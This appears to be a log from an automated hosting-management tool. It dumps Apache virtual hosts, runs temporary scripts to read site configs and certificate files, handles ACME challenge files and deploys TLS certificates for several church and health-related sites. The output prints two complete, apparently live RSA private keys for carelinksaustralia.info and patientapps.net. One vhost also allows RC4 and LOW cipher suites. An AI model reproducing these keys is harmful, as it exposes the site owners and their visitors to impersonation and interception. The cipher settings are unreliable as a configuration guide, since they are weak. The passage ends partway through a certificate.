                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
         port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
                 alias www.carelinksoutreach.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-02-17 06:01:04: 

PUT: /tmp/pkp706037

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-17 06:01:04: 

chmod 755 /tmp/pkp706037; /tmp/pkp706037; rm /tmp/pkp706037

2026-02-17 06:01:04: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf	1362

<VirtualHost *:80>
    ServerName	carelinksaustralia.info
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.carelinksaustralia.info
    DocumentRoot	/var/www/carelinksaustralia_www
    <Directory /var/www/carelinksaustralia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinksaustralia/www_access.log combined
    ErrorLog	/var/log/apache2/carelinksaustralia/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinksaustralia.info
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.carelinksaustralia.info
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/01bea5c16e52f9c5f2fcf9fea9a569f2.crt
    DocumentRoot	/var/www/carelinksaustralia_www
    <Directory /var/www/carelinksaustralia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinksaustralia/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinksaustralia/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-02-17 06:01:04: 

PUT: /tmp/pkp635392

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/01bea5c16e52f9c5f2fcf9fea9a569f2.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-17 06:01:04: 

chmod 755 /tmp/pkp635392; /tmp/pkp635392; rm /tmp/pkp635392

2026-02-17 06:01:04: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/01bea5c16e52f9c5f2fcf9fea9a569f2.crt	5397
59:4f:d5:45:3f:5f:b9:20:6e:df:ee:e6:e0:f4:2e:2b

-----BEGIN CERTIFICATE-----
MIIFHjCCBAagAwIBAgISBkqvbi9BV9/FFKXEM2TwKP45MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMjE3MDUwMjMyWhcNMjYwNTE4MDUwMjMxWjAiMSAwHgYDVQQD
ExdjYXJlbGlua3NhdXN0cmFsaWEuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEP
ADCCAQoCggEBAL0dv4ng90zQ2Vtwu+Alt6jUpxaNg8T9QPC/giw1srYkjkY+DeZy
ECaAodUKDFtFzOVy5pQI0aWBXpx8IGaSU131G2if4/kBZCPR6SwSvIIqaLMCgCSz
0TFu1IM0iUa382yrpIm+IIdLhZtQoMzM73k8KB+qSXUQiTlPOdp4kN+ySD3wsg63
Yk01k/QoezplQDoJ8bLlelI7g4hGeK6Y1I/PoTzr9hpAO1cIRmKneeWNp4A5J1BQ
VLRs5zyhayJe+8aUJNFyH+q09453pBfqcd4sXry0ElDVIkxkB+Nc7uqrtxiHdONb
stTx6H1oOapUchun94GUew7fDRkJrIXMGW0CAwEAAaOCAjswggI3MA4GA1UdDwEB
/wQEAwIFoDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1Ud
DgQWBBTGAxFrDv0cKvcc8k92tYIxHx+nNTAfBgNVHSMEGDAWgBTnq58PLDOgU9Ne
T3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9y
MTMuaS5sZW5jci5vcmcvMD8GA1UdEQQ4MDaCF2NhcmVsaW5rc2F1c3RyYWxpYS5p
bmZvght3d3cuY2FyZWxpbmtzYXVzdHJhbGlhLmluZm8wEwYDVR0gBAwwCjAIBgZn
gQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3IxMy5jLmxlbmNyLm9yZy81
OC5jcmwwggEFBgorBgEEAdZ5AgQCBIH2BIHzAPEAdgBkEcRspBLsp4kcogIuALyr
TygH1B41J6vq/tUDyX3N8AAAAZxqMBixAAAEAwBHMEUCIGzJdcZozsr2WeGf4E5K
WFPaTAqN8Jr2fn+WCqZZXurjAiEAz464Our+obsnssqq0PmJ8HeJTJRQlbm9k9Pr
xnPUUjUAdwCWl2S/VViXrfdDh2g3CEJ36fA61fak8zZuRqQ/D8qpxgAAAZxqMBkE
AAAEAwBIMEYCIQC4OyF6yTPDYb/kqDcET28oVJc5u2fRfLaq2yfxAN8fCAIhAIh3
mFu/cwcSsOGtoUh9OdtWm/1Oo4rpB4esv4aI4CEmMA0GCSqGSIb3DQEBCwUAA4IB
AQA2hQ4fxvBzzADQlFW1rbzoi0hFdvEVg2OWfCJg8EHegnZ1bnnryiVxxVDFdyfn
e5Hf/W1FL6wlqFOAB6TiD+yr5SYRUbNPiblys/04k233APKxig57lcX9xQMKVYNV
yVgYRLbXDHC3oL8WyrV4YyjjDSg5WrjKRCqBbQPuLtEEu5ERfx7cA2Jm+Eh6FbfM
iRGMLDAjspxnyadY6GFSofy0yygkhhBy9aN5CxCg7mQKQYnARDhqXQBXBLJRWj52
qnu1eRhDigkTGglH+3MgUSi7piJsS18H+0K/OGiYNWaFxXTeiyZ4STi0jyYm3Bu9
CF6YsQZh3wT9aBrEBlm+HSre
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC9Hb+J4PdM0Nlb
cLvgJbeo1KcWjYPE/UDwv4IsNbK2JI5GPg3mchAmgKHVCgxbRczlcuaUCNGlgV6c
fCBmklNd9Rton+P5AWQj0eksEryCKmizAoAks9ExbtSDNIlGt/Nsq6SJviCHS4Wb
UKDMzO95PCgfqkl1EIk5TznaeJDfskg98LIOt2JNNZP0KHs6ZUA6CfGy5XpSO4OI
RniumNSPz6E86/YaQDtXCEZip3nljaeAOSdQUFS0bOc8oWsiXvvGlCTRch/qtPeO
d6QX6nHeLF68tBJQ1SJMZAfjXO7qq7cYh3TjW7LU8eh9aDmqVHIbp/eBlHsO3w0Z
CayFzBltAgMBAAECggEAAj5GHWMwyCQBPvH/AOH/eHbqkDOgZRTdJaJJu0C+/fa0
ooQTsefumhDc3Xn+4KnVF6ofF2LCB95Nu9cMouLW3XRt940stbc7WYTJhh6babGV
f06kFOWNmjgTuKlXZW4C8LXCmjpP9yXKEtDcjClc+hxVCt+o2C2qDwnnHMGD9A3c
3D05xLjkfO02vDPwxcDn0eTDr6Pg6nksTVE8c7jcJlmAcz7NxynvEuMXTxkuB2OK
r0eUQJpLrdNgkqKLfdAk30QtZweeMdzdwR2gY34Kzw3FWdbGe+uZLHIkX4+rrsC0
7mP7ddzEGqC2mHLvMMmNigGmUtVagxiXlsR3OIzT0QKBgQD6pthCXciuW7GGyEYV
4n8yH55nhIdlf37wG3yuNHeGp7ROLlYNZHG8psrsx4kHk7Q1o4UUwlqMe9qZrBzR
ezywl7ifo4DEG7ltKVZMYHrHqPqDLEDYmcZG4uisEEgqtJL/dQPoDT9Z2VAcbSjD
b9aa8FeL++NOFcUmAjNekBFC0QKBgQDBJsXd/T/DacJfSVgy/CwonmpFaNX9tzAH
EVzUDFpFoJyhB3tPRyvnIXevcrzHlooUY8w2t/YImxN8OZvumAnXZpWL5FuqlFph
XVkwXrPrcGvt/9HRV5delQD5rvo4wmdJYramSB5/yVhsKKbdGhJg4B/s6J0Km1k/
pu/BQ9t73QKBgFgu9Oy8dAsrxVRnB4lRi3CGAUPoM355EZ7F/OKJIPgl7mCHGs1R
ZlZ50/Dj7ojU5VTtt7dq/VJpjKn+DJGCqwJyDolTi8zy+BS4s1zhoLC3+ZLGsfXC
fCiaUkOe4tTrfMAVWg99AanJs86cdPf1U+pk3lgogXsKW7cYlRwS0Y/RAoGADq+b
Bdj2my4UaFhUS3QfC2uYGvTwqFzgWvk3/Kt/xaGDpz7BYnK/5NAHoKBxuB87GnfI
FDUCkP7xiVV8BLUssmMLZdqUGbEz+gk1+daJiZI/spXr5yXozXk43MMwJVaqscq+
pn//SaoOfhLNNSyBTzpbUxEQt7i+HXfc7O3y50UCgYEAvLwiRuEXsn7cqjueeIKp
ZRsRVcu9ed7+jnLmAuFJmZYORi0sPqew3Z1ArFlcf5I5bUkO5arSu+Up6jKwE3db
JRbDbbaBmb53q3xPlFAZIdTUGAc6XxGjjGqZVNCp+RkuulQ3R/uOS1whrk+iGdn2
nDM/42c56ieXLaGUf9qbW3E=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-02-17 06:01:04: Establishing a connection
2026-02-17 06:01:04: Establishing a connection
2026-02-17 06:01:05: 

PUT: /tmp/pkp100716

#!/bin/bash
if [ -d "/var/www/patientapps_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-02-17 06:01:05: 

chmod 755 /tmp/pkp100716; /tmp/pkp100716; rm /tmp/pkp100716

2026-02-17 06:01:05: 


1


2026-02-17 06:01:06: Establishing a connection
2026-02-17 06:01:06: 

PUT: /tmp/pkp311019

#!/bin/bash
mkdir -p "/var/www/patientapps_www/.well-known/acme-challenge/"
cd "/var/www/patientapps_www/.well-known/acme-challenge/"
cat > gZbzOc2o4AXUHJLB6zNCM34uq8SZwQIq2Yci3Q7cr1s <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
gZbzOc2o4AXUHJLB6zNCM34uq8SZwQIq2Yci3Q7cr1s.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 gZbzOc2o4AXUHJLB6zNCM34uq8SZwQIq2Yci3Q7cr1s
cat > EPr8Aki8UNKN2loHWwKWhXfihLu1v9vh4rUMAjCxvHQ <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
EPr8Aki8UNKN2loHWwKWhXfihLu1v9vh4rUMAjCxvHQ.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 EPr8Aki8UNKN2loHWwKWhXfihLu1v9vh4rUMAjCxvHQ


2026-02-17 06:01:06: 

chmod 755 /tmp/pkp311019; /tmp/pkp311019; rm /tmp/pkp311019

2026-02-17 06:01:06: 




2026-02-17 06:01:12: Establishing a connection
2026-02-17 06:01:13: 

PUT: /tmp/pkp461690

#!/bin/bash
mkdir -p "/var/www/patientapps_www/.well-known/acme-challenge/"
cd "/var/www/patientapps_www/.well-known/acme-challenge/"
rm gZbzOc2o4AXUHJLB6zNCM34uq8SZwQIq2Yci3Q7cr1s
rm EPr8Aki8UNKN2loHWwKWhXfihLu1v9vh4rUMAjCxvHQ


2026-02-17 06:01:13: 

chmod 755 /tmp/pkp461690; /tmp/pkp461690; rm /tmp/pkp461690

2026-02-17 06:01:13: 




2026-02-17 06:01:13: Establishing a connection
2026-02-17 06:01:13: 

PUT: /tmp/pkp465743

#!/bin/bash
temp_file=$(mktemp)
TARGET=8f796e4f4515bc3385e2df3b120b1cc8.crt

cat > $temp_file <<'endmsg'
7a:0f:db:93:29:69:a4:97:66:d9:de:c4:aa:2a:7b:c8

-----BEGIN CERTIFICATE-----
MIIFDDCCA/SgAwIBAgISBjLuL71tpul+6Ng8zoOypHUIMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMjE3MDUwMjQxWhcNMjYwNTE4MDUwMjQwWjAaMRgwFgYDVQQD
Ew9wYXRpZW50YXBwcy5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQCc0o6vu8MY95s6+Z5s1JdpQocxZ9aCycJfVeFg+in/VfyWRNiJ6vtNbMHr9lU2
OtgE742YJxoJOFPdgesf03YoysVojV+ZRs+HnSz70/Fx67t8jXePpMve8eE8iaS6
s+pEBF5Ca1ybWCHNCFm6fwatF8SQkTGL8h0LC/LqlqwuwlZbi5zTS6JlJMvXkJT5
KrtTD6FJHPAtX1sZhOkaipyr8VAnlkQkijjSnJ+jjxxVIB48iYBZTGQuKASA+7Pe
pMJoWrPZrX5Yynd84XuChWELtiokGX0/Qy6jLu4wcDhCo90hIC2WWOo2uZ7sElSK
qiqOoJ5IpnpT9Cjr5WqvJIlzAgMBAAGjggIxMIICLTAOBgNVHQ8BAf8EBAMCBaAw
EwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUjnzL
LmKWL7RSTeUrXJAGb3pcTu0wHwYDVR0jBBgwFoAU56ufDywzoFPTXk94yLKEDjvW
kjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEzLmkubGVu
Y3Iub3JnLzAvBgNVHREEKDAmgg9wYXRpZW50YXBwcy5uZXSCE3d3dy5wYXRpZW50
YXBwcy5uZXQwEwYDVR0gBAwwCjAIBgZngQwBAgEwLQYDVR0fBCYwJDAioCCgHoYc
aHR0cDovL3IxMy5jLmxlbmNyLm9yZy85LmNybDCCAQwGCisGAQQB1nkCBAIEgf0E
gfoA+AB+AHF+lfPCOIptseOEST0x4VqpYgh2LUIA4AUM0Ge1pmHiAAABnGowPdgA
CAAABQAJp16uBAMARzBFAiEAqucMePQbLqOcZBA23ZOxAkYmJnPBvoHgfiWnkD90
iT4CIBVYHNTRd3tW/PvSK4if99MT1qfc/sVU4fgOV3uhXMusAHYA0W6ppWgHfmY1
oD83pd28A6U8QRIU1IgY9ekxsyPLlQQAAAGcajA9+QAABAMARzBFAiEAgY7Uwudt
Fi9B1hhHdmzzHeWTJD/tFbidsTKUsDh3gA0CIB3Vv6PVTMcLcd1lSVLyyfSrbEeJ
9Nwlgp5SAAG30TejMA0GCSqGSIb3DQEBCwUAA4IBAQBI0v7zB+j3RHLj8/NrDPU8
ubF2LAH3xqlStK2Ln/vC+0BQpdKlDDnnIvVgr/7bT/gQwPFExo88FFT1TKMODlMJ
+19zhET3rr/2nwyUzvuAUQSyLoCVA5HLNlrGHXZDjso8bL1iqC9KO+YzvzC/Fecq
xSw6KQaZZgUAP70E3dmfP3hZoLRXMZyhfgfxK651MtCizuY7U1QScpuwswiyro5P
K3aYE7+99tD71ErZoUkUcVN3gmlRbRfxqlxY/rFYHanamG96YeeJ81D4W5HgNo7z
E6irS+W8vXdgNbIm2j9/aEwatR4sjW92C9CnPVQfXmM+U2ll6XR2vVHHrJGgi5xP
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCc0o6vu8MY95s6
+Z5s1JdpQocxZ9aCycJfVeFg+in/VfyWRNiJ6vtNbMHr9lU2OtgE742YJxoJOFPd
gesf03YoysVojV+ZRs+HnSz70/Fx67t8jXePpMve8eE8iaS6s+pEBF5Ca1ybWCHN
CFm6fwatF8SQkTGL8h0LC/LqlqwuwlZbi5zTS6JlJMvXkJT5KrtTD6FJHPAtX1sZ
hOkaipyr8VAnlkQkijjSnJ+jjxxVIB48iYBZTGQuKASA+7PepMJoWrPZrX5Yynd8
4XuChWELtiokGX0/Qy6jLu4wcDhCo90hIC2WWOo2uZ7sElSKqiqOoJ5IpnpT9Cjr
5WqvJIlzAgMBAAECggEAA4SO94Cl92O+hSEmyBGGGNy0Lv3eFor6h1byZPws8hxa
AvAJh3Z7K4rlWA55wxX+Kk1KP/Gd75CRICaTJOCe6SVXvIVx/+AZUap1707iW09K
vtERkzE0nYw6XY2c4ZZktT04vBMhkwIQi5jEsLsQgn8NcBPeKIx/QvQQcT7u5hGW
CBO4mD+ATku2wNTb0c5tT9MNNDL+w7O93uYL6mUaAA/cciwSdqBr4biN5q8iQseG
3Y4hpnxeGhRGD5BJqdGyK10i7WEcHcxLXeopMfERYjVRrMTeRPVXxGjHH9FMCUbn
uqjGA5Ei/nW1KT9NEJpa5cB/WgySKI80mYthUWwmOQKBgQDYnoF9u4+wZHlM1isV
xtgfb5M1Gup+C7D6fOr43zTToA0OA8JYX+zcOHYamKfVjKTTLgaYbABDwIbWmC7U
+ZNK43G/1SQtUXsTGNGGnFtNTRpadsTKhelDwbejP9HMmTiZdT8FZqiq+B7l+wtJ
mS3D3SdWfNm+sAP2+isYjo99nQKBgQC5VRqRGXV1gtLmhY5m/ew3J74HRecqyc8S
xv0rpssuZ3QaeEB4smiRYSHEiqLZth5AA4WeHvsvsZzl9hcNUAWvhc4HBl437iTC
Dyp70VGlbetLvmEJKiSkDOLHCMUQzEuSCAHHBFJUGFinv6CxYGBf8PvxMZsMb7Ya
P0e0c7f+TwKBgF2zqvX1dUFrJOFs3zRLUF/Axt+45ehiLEseUBIZk2Nbn2oJjD7o
N7BHKCd3E1qXvRCwnx+90Bt+o5UePVvZHbLOUf0WOND1pxRqru/YoNH+YUDykUu9
w1qQ6FvQlnM3cDlJc1plvt49+DepcYeDoD1SY9rQpOwMfZqPOqcju8QtAoGACm0u
RHGBOS41/UAQRd0NOAElYLVfDvoxiyXkwlrs3Vx2nLKdNe0bkuo7AxqllMf5JbLN
BptJmGJOqGVS4K3a1AgcEisai9z69mvyAOtCw6LOdQFt5h0X2J7c90OYCpzjt4B5
0R9+HjsMacuPF8uLQHqHQgd/aJC0Vv+uYgmMlWMCgYA8i6391RJPl7hIRxI85RTq
XCiPyIymPOe5/yfLp3rZvjjDVagqM3xz3eLPhuNmpQdrGw7zIjGvVOlYKPk9FMyF
i0FUApqqci/QIiaKygAI/t49k4NQ4YIjwmOQdG0y+/E7UWJIBW1woqyCU3Na7uiA
uP6yUZe7RdTAd0oRt6Bi4A==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
